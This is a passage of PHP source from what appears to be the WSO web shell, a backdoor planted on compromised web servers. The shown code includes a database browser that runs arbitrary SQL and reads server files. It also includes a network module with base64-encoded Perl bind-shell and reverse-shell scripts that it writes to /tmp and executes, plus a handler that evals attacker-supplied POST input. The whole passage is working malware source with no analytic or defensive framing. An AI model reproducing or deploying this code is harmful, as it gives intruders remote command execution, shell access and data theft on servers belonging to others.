  1304.  $tmp = "<input type=text name=sql_base value=''>";
  1305.  if(isset($_POST['sql_host'])){
  1306.   if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1307.    switch($_POST['charset']) {
  1308.     case "Windows-1251": $db->setCharset('cp1251'); break;
  1309.     case "UTF-8": $db->setCharset('utf8'); break;
  1310.     case "KOI8-R": $db->setCharset('koi8r'); break;
  1311.     case "KOI8-U": $db->setCharset('koi8u'); break;
  1312.     case "cp866": $db->setCharset('cp866'); break;
  1313.    }
  1314.    $db->listDbs();
  1315.    echo "<select name=sql_base><option value=''></option>";
  1316.    while($item = $db->fetch()) {
  1317.     list($key, $value) = each($item);
  1318.     echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1319.    }
  1320.    echo '</select>';
  1321.   }
  1322.   else echo $tmp;
  1323.  }else
  1324.   echo $tmp;
  1325.  echo "</td>
  1326.     <td>></td>
  1327.                 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1328.    </tr>
  1329.   </table>
  1330.   [removed]
  1331.             s_db='".@addslashes($_POST['sql_base'])."';
  1332.             function fs(f) {
  1333.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1334.                     if(f.p1) f.p1.value='';
  1335.                     if(f.p2) f.p2.value='';
  1336.                     if(f.p3) f.p3.value='';
  1337.                 }
  1338.             }
  1339.    function st(t,l) {
  1340.     d.sf.p1.value = 'select';
  1341.     d.sf.p2.value = t;
  1342.                 if(l && d.sf.p3) d.sf.p3.value = l;
  1343.     d.sf.submit();
  1344.    }
  1345.    function is() {
  1346.     for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1347.      d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1348.    }
  1349.   [removed]";
  1350.  if(isset($db) && $db->link){
  1351.   echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1352.    if(!empty($_POST['sql_base'])){
  1353.     $db->selectdb($_POST['sql_base']);
  1354.     echo "<tr><td width=1  solid #666;'><span>Tables:</span><br><br>";
  1355.     $tbls_res = $db->listTables();
  1356.     while($item = $db->fetch($tbls_res)) {
  1357.      list($key, $value) = each($item);
  1358.                     if(!empty($_POST['sql_count']))
  1359.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1360.      $value = htmlspecialchars($value);
  1361.      echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a >".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
  1362.     }
  1363.     echo "<input type='checkbox' > <input type=button value='Dump' ><br>File path:<input type=text name=file value='dump.sql'></td><td  solid #666;'>";
  1364.     if(@$_POST['p1'] == 'select') {
  1365.      $_POST['p1'] = 'query';
  1366.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1367.      $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1368.      $num = $db->fetch();
  1369.      $pages = ceil($num['n'] / 30);
  1370.                     echo "[removed]d.sf.onsubmit=function(){st("" . $_POST['p2'] . "", d.sf.p3.value)}[removed]<span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1371.                     echo " of $pages";
  1372.                     if($_POST['p3'] > 1)
  1373.                         echo " <a   . $_POST['>< Prev</a>";
  1374.                     if($_POST['p3'] < $pages)
  1375.                          echo " <a   . $_POST['>Next ></a>";
  1376.                     $_POST['p3']--;
  1377.      if($_POST['type']=='pgsql')
  1378.       $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1379.      else
  1380.       $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1381.      echo "<br><br>";
  1382.     }
  1383.     if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1384.      $db->query(@$_POST['p2']);
  1385.      if($db->res !== false) {
  1386.       $title = false;
  1387.       echo '<table width=100% cellspacing=1 cellpadding=2 class=main #292929">';
  1388.       $line = 1;
  1389.       while($item = $db->fetch()) {
  1390.        if(!$title) {
  1391.         echo '<tr>';
  1392.         foreach($item as $key => $value)
  1393.          echo '<th>'.$key.'</th>';
  1394.         reset($item);
  1395.         $title=true;
  1396.         echo '</tr><tr>';
  1397.         $line = 2;
  1398.        }
  1399.        echo '<tr class="l'.$line.'">';
  1400.        $line = $line==1?2:1;
  1401.        foreach($item as $key => $value) {
  1402.         if($value == null)
  1403.          echo '<td><i>null</i></td>';
  1404.         else
  1405.          echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1406.        }
  1407.        echo '</tr>';
  1408.       }
  1409.       echo '</table>';
  1410.      } else {
  1411.       echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1412.      }
  1413.     }
  1414.     echo "<br></form><form  false;'><textarea name='query' >";
  1415.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1416.                     echo htmlspecialchars($_POST['p2']);
  1417.                 echo "</textarea><br/><input type=submit value='Execute'>";
  1418.     echo "</td></tr>";
  1419.    }
  1420.    echo "</table></form><br/>";
  1421.             if($_POST['type']=='mysql') {
  1422.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1423.                 if($db->fetch())
  1424.                     echo "<form  false;'><span>Load file</span> <input  class='toolsInp' type=text name=f>></form>";
  1425.             }
  1426.    if(@$_POST['p1'] == 'loadfile') {
  1427.     $file = $db->loadFile($_POST['p2']);
  1428.     echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1429.    }
  1430.  } else {
  1431.         echo htmlspecialchars($db->error());
  1432.     }
  1433.  echo '</div>';
  1434.  wsoFooter();
  1435. }
  1436. function actionNetwork() {
  1437.  wsoHeader();
  1438.  $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1439.  $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1440.  echo "<h1>Network tools</h1><div class=content>
  1441.  <form name='nfp'  false;">
  1442.  <span>Bind port to /bin/sh [perl]</span><br/>
  1443.  Port: <input type='text' name='port' value='31337'> >
  1444.  </form>
  1445.  <form name='nfp'  false;">
  1446.  <span>Back-connect  [perl]</span><br/>
  1447.  Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> >
  1448.  </form><br>";
  1449.  if(isset($_POST['p1'])) {
  1450.   function cf($f,$t) {
  1451.    $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1452.    if($w){
  1453.     @fwrite($w,@base64_decode($t));
  1454.     @fclose($w);
  1455.    }
  1456.   }
  1457.   if($_POST['p1'] == 'bpp') {
  1458.    cf("/tmp/bp.pl",$bind_port_p);
  1459.    $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1460.             sleep(1);
  1461.    echo "<pre class=ml1>$outn".wsoEx("ps aux | grep bp.pl")."</pre>";
  1462.             unlink("/tmp/bp.pl");
  1463.   }
  1464.   if($_POST['p1'] == 'bcp') {
  1465.    cf("/tmp/bc.pl",$back_connect_p);
  1466.    $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1467.             sleep(1);
  1468.    echo "<pre class=ml1>$outn".wsoEx("ps aux | grep bc.pl")."</pre>";
  1469.             unlink("/tmp/bc.pl");
  1470.   }
  1471.  }
  1472.  echo '</div>';
  1473.  wsoFooter();
  1474. }
  1475. function actionRC() {
  1476.  if(!@$_POST['p1']) {
  1477.   $a = array(
  1478.    "uname" => php_uname(),
  1479.    "php_version" => phpversion(),
  1480.    "wso_version" => WSO_VERSION,
  1481.    "safemode" => @ini_get('safe_mode')
  1482.   );
  1483.   echo serialize($a);
  1484.  } else {
  1485.   eval($_POST['p1']);
  1486.  }
  1487. }
  1488. if( empty($_POST['a']) )
  1489.  if(isset($default_action) && function_exists('action' . $default_action))
  1490.   $_POST['a'] = $default_action;
  1491.  else
  1492.   $_POST['a'] = 'SecInfo';
  1493. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1494.  call_user_func('action' . $_POST['a']);
  1495. exit;
  1496.